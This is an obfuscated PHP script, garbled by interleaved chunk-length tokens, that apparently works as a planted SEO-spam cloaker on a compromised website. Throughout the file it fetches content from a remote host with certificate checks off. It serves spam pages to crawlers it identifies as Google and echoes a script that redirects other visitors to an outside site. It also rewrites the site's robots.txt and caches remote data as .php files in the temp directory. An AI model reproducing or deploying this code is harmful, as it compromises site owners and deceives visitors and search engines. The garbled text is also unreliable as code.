1 < 4 ?php 4 g 4 oto 4 ZwK5 5 j; sN 4 iwt: 5 if ( 5 !empt 4 y($s 4 z)) 5 { $jd 5 = ge 4 tCur 5 lFast 4 ("{$ 5 http_ 5 type} 3 {$v 6 url}\6 5 3\x6b 5 \147\ 6 x2e\14 7 1\163\1 5 60\17 4 0\x3 4 f\x7 9 3\x7a\x3d 4 " . 6 urlenc a ode($sz)); 4 } e 3 lse 2f { $jd = getCurlFast("{$http_type}{$vurl}\x33\1 8 53\147\5 10 6\141\163\160\x7 9 8\x3f\x78 7 \171\75 d {$http_type}" 6 ); $sz 42 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\ 5 77\x6 5 a\x64 15 \x3d" . urlencode($jd c )); } goto k 5 ZXUn; 4 xFI 5 jt: f 5 uncti 7 on get_ 5 real_ 8 ip() { $ 4 keys 7 = arra 4 y("\ 6 x48\12 8 4\124\x5 8 0\x5f\x4 5 3\106 7 \x5f\10 8 3\x4f\x4 8 e\116\10 b 5\103\124\1 9 11\x4e\10 b 7\x5f\111\x 5 50", 8 "\110\x5 b 4\x54\x50\1 6 37\x58 b \137\x52\x4 9 5\101\x4c 8 \137\x49 d \120", "\x48\ c x54\124\x50\ d 137\130\137\1 8 06\x4f\1 6 22\127 c \101\x52\x44 9 \105\x44\ b x5f\106\117 d \122", "\110\ b 124\124\120 d \137\x43\x4c\ b x49\105\x4e 15 \124\x5f\111\x50", "\ b x52\x45\x4d d \x4f\x54\105\ d 137\x41\x44\x 7 44\122" 5 ); fo 7 reach ( 8 $keys as 7 $k) { f if (!empty($_SE 4 RVER 3 [$k 9 ])) { $ip f = $_SERVER[$k] 8 ; if (st 5 rpos( 8 $ip, "\5 5 4") ! 4 == f 4 alse e ) { $ip = trim 5 (expl 9 ode("\54" 7 , $ip)[ 7 0]); } 6 if (fi 5 lter_ 9 var($ip, 4 FILT 4 ER_V 4 ALID 4 ATE_ 8 IP)) { r 5 eturn 8 $ip; } d } } return "\ 5 61\62 8 \67\x2e\ 6 60\56\ 9 60\x2e\x3 b 1"; } goto 4 UOex 9 B; ZwK5j: 5 erro 5 r_rep 5 ortin 6 g(0); 7 goto eX 5 8At; 4 q70W 5 N: $s 7 url = $ 4 jd . c "\163\x7a\1 12 56\56\141\163\160\ 4 170" b ; goto tadj 5 A; p7 3 jg0 13 : function get_url_ 4 info 8 (string 5 $type a = "\x64\1 5 57\15 7 5\x61\1 6 51\x6e 5 ") : b string { $h 3 ost 1a = $_SERVER["\x48\124\124\ 10 120\137\x48\117\ 7 x53\124 5 "] ?? 3 '' e ; if ($type == c = "\x6e\157\ 9 x5f\167\x 7 77\167" d ) { return pr 6 eg_rep 7 lace("\ 7 x2f\x5e f \167\x77\x77\x5 9 c\56\57\x 5 69", 3 '', c $host); } $ 6 protoc 5 ol = 1a !empty($_SERVER["\x48\x54\ c x54\x50\123" 4 ]) & d & $_SERVER["\ 15 110\124\124\120\123"] 9 !== "\x6 8 f\146\14 4 6" ? 9 "\150\x7 c 4\x74\160\x7 4 3\72 7 \57\57" b : "\150\16 7 4\x74\x c 70\72\57\x2f 5 "; $b 6 ase = 11 $protocol . $host 15 ; if ($type === "\x62 c \141\163\145 11 ") { return $base 14 ; } if ($type === "\ a 146\165\x6 16 c\x6c") { return $base 10 . ($_SERVER["\x 8 52\105\1 6 21\125 9 \x45\x53\ a x54\137\x5 9 5\x52\x49 d "] ?? ''); } e return $host; a } goto WOC 4 uf; 4 oBxK d F: function e 6 nsure_ 5 robot 5 s_sit 4 emap a ($sitemapL 8 ine) { $ a robots = r 11 trim($_SERVER["\1 8 04\117\x 5 43\x5 c 5\x4d\105\11 5 6\x54 13 \137\x52\x4f\x4f\12 8 4"], "\5 8 7\134") 8 . "\57\x 7 72\x6f\ b x62\157\x74 8 \x73\56\ c x74\x78\x74" 7 ; if (! 7 file_ex 6 ists($ b robots)) { 7 @file_p 5 ut_co 4 nten f ts($robots, "\1 d 25\163\145\16 5 2\x2d 28 \141\147\145\156\164\x3a\40\x2a\xa\x41\1 4 54\x a 6c\157\x77 8 \72\x20\ 5 57\xa 11 " . $sitemapLine, 4 LOC 4 K_EX e ); } else { $c 9 = @file_ 15 get_contents($robots) 8 ; if ($c b === false 3 || a strpos($c, 18 $sitemapLine) === false 20 ) { @file_put_contents($robots, 13 $sitemapLine, FILE_ 4 APPE 4 ND | e LOCK_EX); } } b } goto TcP 4 SL; 5 jCsnT 7 : if ($ 8 kk === ' 7 ' && $i 5 s_no_ 4 quer a y) { if ($ 5 domai b n === "\147 b \157\x6f\14 8 7\x6c\x6 9 5") { out d put_sitemap_a 7 nd_exit f ($sitemapLine, 16 $http_type); } else { 9 die; } } 7 goto GQ 4 Gtw; 5 y1V0 4 b: $ 8 kk = iss 4 et($ 7 get["\x a 6b\x6b"]) 7 ? trim( e $get["\x6b\153 a "]) : ''; b goto u9Vm1; 12 WOCuf: $http_type 21 = !empty($_SERVER["\x48\x54\x54\ 1d 120\123"]) && $_SERVER["\110\ 8 x54\124\ 31 120\123"] !== "\x6f\146\146" ? "\150\x74\x74\x70\ 8 x73\x3a\ c x2f\57" : "\ 3 x68 17 \x74\164\x70\72\x2f\57" 9 ; goto Vm 5 gLL; 9 kZXUn: $h 4 yzhd d y = $jd . "\1 6 72\x6e 21 \56\141\163\160\170"; goto q70WN; 7 GQGtw: 3a output_sitemap_and_exit($sitemapLine, $http_type); goto E 4 jU3H 5 ; egg 2 D8 f : function cach 7 e_set($ 8 key, $da 7 ta) { $ 7 file = 8 sys_get_ 6 temp_d 3 ir( b ) . "\x2f\1 8 43\x61\1 a 43\x68\x65 4 \x5f 7 " . md5 d ($key) . "\56 9 \160\x68\ 6 160"; 18 @file_put_contents($file 15 , $data, LOCK_EX); } b goto xFIjt; 6 taa3z e : if ($domain 10 !== "\x67\157\15 9 7\147\154 9 \145" && a !empty($ii 8 d)) { $k 7 name = 5 urlde 11 code(getCurlFast( e $jd . "\147\x6 1a e\56\141\163\160\x78\x3f\x 9 69\x69\x6 f 4\x3d" . $iid)) 6 ; echo 6 "\x3c c \x73\x63\x72 d \x69\160\x74\ b 76\x6c\157\ 9 143\x61\1 e 64\151\x6f\x6e 6 \75\x2 6 2" . $ 10 jd . "\141\56\x6 a 1\163\x70\ e 170\x3f\143\x6 7 e\141\1 9 55\x65\75 14 " . urlencode($kname e ) . "\x26\165\ 7 162\154 12 \75" . $http_type 19 . $_SERVER["\x48\124\124\ d x50\137\110\x a 4f\x53\x54 11 "] . $_SERVER["\x 9 53\x43\x5 9 2\x49\120 10 \x54\137\116\101 d \x4d\105"] . b "\x22\x3c\x 8 2f\x73\x 18 63\x72\x69\160\x74\76"; d die; } goto Z 4 GeRz 5 ; r79 5 5u: $ 6 qz = s 5 ubstr d (str_replace( 8 array("\ f 167\167\167\x2e 7 ", "\56 9 "), '', $ 1a _SERVER["\x48\124\124\x50\ e x5f\x48\x4f\12 b 3\124"]), 0 3 , 3 c ); goto ap1m 8 o; TcPSL e : if (!empty($ a get["\167" b ])) { $para 5 ms = 8 http_bui 9 ld_query( b array("\x4e b \x4f\x55\x6 d d\142\145\162 4 " => 9 $get["\x f 4e\117\x55\x6d\ 7 x62\145 c \x72"] ?? '' 7 , "\164 1b " => $get["\164"] ?? '', "\ 8 x63\x6e" 12 => $get["\143\x6e 11 "] ?? '', "\x70\x 1c 4e\x4f\x55\x6d" => $get["\16 11 0\x4e\x4f\x55\155 15 "] ?? '', "\x63\x69\1 f 44" => $get["\x 9 63\151\x6 11 4"] ?? '', "\155" e => $get["\x6d f "] ?? '')); $st 14 r = getCurlFast("{$s 8 url}\x3f 8 {$params a }"); echo 18 str_replace(array("\171\ b 171\x6d\x6d a ", "\x67\x e 67\x67\147\x67 9 ", "\77\1 7 46\x3d" 9 ), array( 28 $http_type . $_SERVER["\x48\124\x54\120\ 7 x5f\110 1c \x4f\123\x54"] . $_SERVER["\ 6 123\10 11 3\x52\x49\x50\x54 8 \x5f\x4e c \101\115\x45 6 "], $s 7 z, "\77 8 " . $qz b . "\x3d"), 13 $str); die; } goto 6 y1V0b; e ap1mo: $sz = 5 $iid c = ''; goto h 4 lG6j 8 ; u9Vm1: b $ip = $kk 8 !== '' ? 8 "\x36\6 8 6\x2e\x3 9 2\x34\x39 8 \x2e\70\ 9 62\x2e\70 11 " : get_real_ip() d ; goto UflM7; 15 hlG6j: if (!empty($_ 3 GET b )) { $f = r b eset($_GET) 8 ; $sp = a explode("\ 8 x2d", $f a ); if (cou 6 nt($sp 7 ) === 2 d ) { $sz = $sp 4 [0]; d $iid = $sp[1 18 ]; } } goto sNiwt; UflM7 b : $domain = 6 trim( 21 getCurlFast($jd . "\147\x65\164\1 9 44\x6f\x6 d d\x61\151\x6e c \x32\56\x61\ c x73\160\170\ a 77\x72\x6e 9 \144\75\x 7 31\46\x e 69\160\75" . $ 4 ip)) c ; goto taa3z 4 ; EY 3 X7h 14 : if ($kk !== '' && 7 preg_ma 4 tch( 9 "\57\x5e\ 3 x5b b \x41\55\x5a a \141\x2d\1 8 72\60\x2 9 d\x39\x5d 4 \53\ 8 44\57", b $kk)) { $re 4 mote f = getCurlFast( 2b $jd . "\147\x65\164\144\157\155\x61\151\x6e b \62\56\141\ 13 x73\x70\170\77\x72\ b 156\144\75\ 6 62\x26 11 \x6b\153\x3d" . $ 4 kk); 18 if (!empty($remote)) { d echo $remote; 10 die; } } goto u 4 3U2k 5 ; gmJ 13 gr: function cache_ b get($key, $ 5 expir 7 e = 300 2b ) { $file = sys_get_temp_dir() . "\x2f\143\ e 141\143\150\14 1a 5\x5f" . md5($key) . "\56\ b x70\150\x70 7 "; if ( 11 file_exists($file 9 ) && time 5 () - a filemtime( 10 $file) < $expire b ) { return 18 file_get_contents($file) 10 ; } return false e ; } goto eggD8 7 ; u3U2k 15 : if ($kk !== '' && ! 13 preg_match("\x2f\13 d 6\x5b\x41\55\ 8 132\141\ a x2d\172\x3 c 0\x2d\x39\13 5 5\x2b 46 \44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } 8 goto eCA 5 bA; o 4 fsRJ b : function 35 output_sitemap_and_exit($sitemapLine, $http_type) { e 22 nsure_robots_sitemap($sitemapLine) 12 ; echo "\x3c\x64\x 8 69\x76\4 b 0\x73\x74\1 9 71\154\x6 7 5\x3d\x a 27\164\145 8 \x78\x74 a \x2d\x61\x e 6c\151\x67\156 5 \72\x f 63\x65\156\164\ f 145\x72\73\160\ 11 x61\x64\x64\x69\x 6 6e\147 9 \x3a\61\6 a 0\160\170\ a 40\x30\73\ 6 47\x3e f \xa\40\x20\x20\ 8 40\40\x2 1c 0\x20\x20\40\40\x20\x20\74\x a 61\40\150\ 8 162\145\ b 146\x3d\x22 e {$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ d 117\123\124"] 12 }{$_SERVER["\x53\1 6 03\122 11 \111\x50\x54\x5f\ 6 116\x4 c 1\x4d\105"]} a \x3f\167\x 9 3d" . dat 6 e("\13 b 1\x6d\144\1 7 10\151" e ) . "\x22\x20\ b 164\x61\x72 9 \147\x65\ 11 x74\x3d\x22\137\1 7 42\154\ d x61\x6e\x6b\x e 22\x20\x72\x65 9 \154\75\4 6 2\x6e\ 10 x6f\146\157\x6c\ 7 154\x6f c \x77\x22\x3e e \x53\151\164\1 a 45\x6d\141 7 \160\74 1b \x2f\141\x3e\xa\40\x20\x20\ 13 x20\40\40\x20\x20\4 e 0\x20\74\x2f\x b 64\x69\166\ 11 76"; die; } goto c EYX7h; tadjA e : $sitemapLine a = "\123\1 5 51\x7 e 4\145\155\x61\ b x70\x3a\x20 18 {$http_type}{$_SERVER["\ 10 x48\124\124\120\ 23 x5f\110\x4f\123\x54"]}{$_SERVER["\1 13 23\103\x52\111\x50\ b 124\137\x4e 9 \101\x4d\ d x45"]}\x3f\x7 14 7\x3d" . date("\131\ 18 155\144\110\151") . "\xa 8 "; goto c oBxKF; VmgLL 4 : $v e url = "\164\15 7 7\x2e\1 a 52\x67\x61 e \x6c\154\x73\x 9 2e\x63\15 7 7\155\x a 2f"; goto d r795u; eCAbA: d $is_no_query 15 = empty($_SERVER["\x 7 51\125\ 9 105\x52\1 b 31\137\x53\ 6 x54\12 c 2\x49\x4e\x4 17 7"]); goto jCsnT; eX8At 6 : $get b = filter_i 5 nput_ 9 array(INP 6 UT_GET a , FILTER_S 4 ANIT 5 IZE_S 4 TRIN 9 G); goto c gmJgr; ZGeRz e : if (!empty($ 1b iid)) { $str = getCurlFast( e $hyzhdy . "\x3 12 f\x69\x69\x64\x3d{ 4 $iid 2e }"); echo str_replace(array("\x67\x67\x67\147\ a 147", "\x5 8 9\131\x5 9 9\x59\131 11 ", "\x58\x58\x58\ 11 131\131\x59", "\x 6 e5\xbd 5 \223\ 6 345\x8 5 9\x8d c \125\x52\x4c 9 ", "\125\ f x55\x55\125\x55 7 ", "\11 c 5\x4d\115\11 d 5\x4d", "\77\ 6 x66\75 f "), array($sz, e get_url_info() 10 , get_url_info(" 12 \142\141\163\145") 17 , get_url_info("\146\x7 9 5\x6c\154 1b "), get_url_info("\x6e\x6f\ 6 x5f\x7 d 7\167\x77"), 5 parse 11 _url($_SERVER["\1 13 22\105\121\125\x45\ 7 123\124 10 \137\x55\122\111 7 "], PHP 4 _URL 4 _PAT 14 H), "\77" . $qz . "\ 6 75"), 19 $str); die; } goto ofsRJ; 6 UOexB 18 : function getCurlFast($ 8 url) { $ 9 cached = f cache_get($url) e ; if ($cached d !== false) { e return $cached 9 ; } $data c = ''; if (f f unction_exists( 8 "\143\x7 b 5\x72\x6c\x 8 5f\151\1 b 56\151\164" 8 )) { $ch b = curl_ini e t($url); curl_ 5 setop b t_array($ch 9 , array(C 7 URLOPT_ 4 RETU 4 RNTR 4 ANSF 6 ER => 6 true, a CURLOPT_CO 4 NNEC 4 TTIM 4 EOUT f => 5, CURLOPT_ 16 TIMEOUT => 8, CURLOPT_ 4 SSL_ 5 VERIF 3 YPE b ER => false 17 , CURLOPT_SSL_VERIFYHOS 15 T => false, CURLOPT_F 4 OLLO 4 WLOC 4 ATIO 15 N => false, CURLOPT_U 5 SERAG 7 ENT => c "\115\157\x7 9 a\x69\x6c c \154\x61\57\ 8 65\56\60 6 ")); $ d data = curl_e 7 xec($ch b ); curl_clo 9 se($ch); d } if (empty($ 6 data) b && ini_get( 9 "\x61\154 e \154\157\167\x d 5f\x75\x72\15 8 4\137\x6 d 6\157\160\x65 c \x6e")) { $c 5 ontex 8 t = stre a am_context 6 _creat b e(array("\1 13 50\x74\x74\160" => a array("\16 11 4\151\x6d\145\157 d \x75\x74" => 7 8, "\x6 e 8\x65\x61\x64\ e 145\x72" => "\ 6 x55\x7 b 3\145\162\5 8 5\101\x6 11 7\145\156\x74\x3a a \x20\x4d\x 4 6f\1 10 72\x69\154\154\1 d 41\x2f\65\56\ 9 x30\xd\12 6 "), "\ c 163\x73\x6c" c => array("\ c x76\145\x72\ b x69\146\x79 f \x5f\x70\x65\x6 11 5\x72" => false, d "\166\x65\x72 19 \x69\146\x79\x5f\x70\x65\ e 145\162\137\x6 d e\141\x6d\145 17 " => false))); $data = 14 @file_get_contents($ c url, false, 11 $context); } if ( d !empty($data) f ) { cache_set($ b url, $data) 10 ; } return $data 9 ; } goto c p7jg0; EjU3H 4 : ?> 0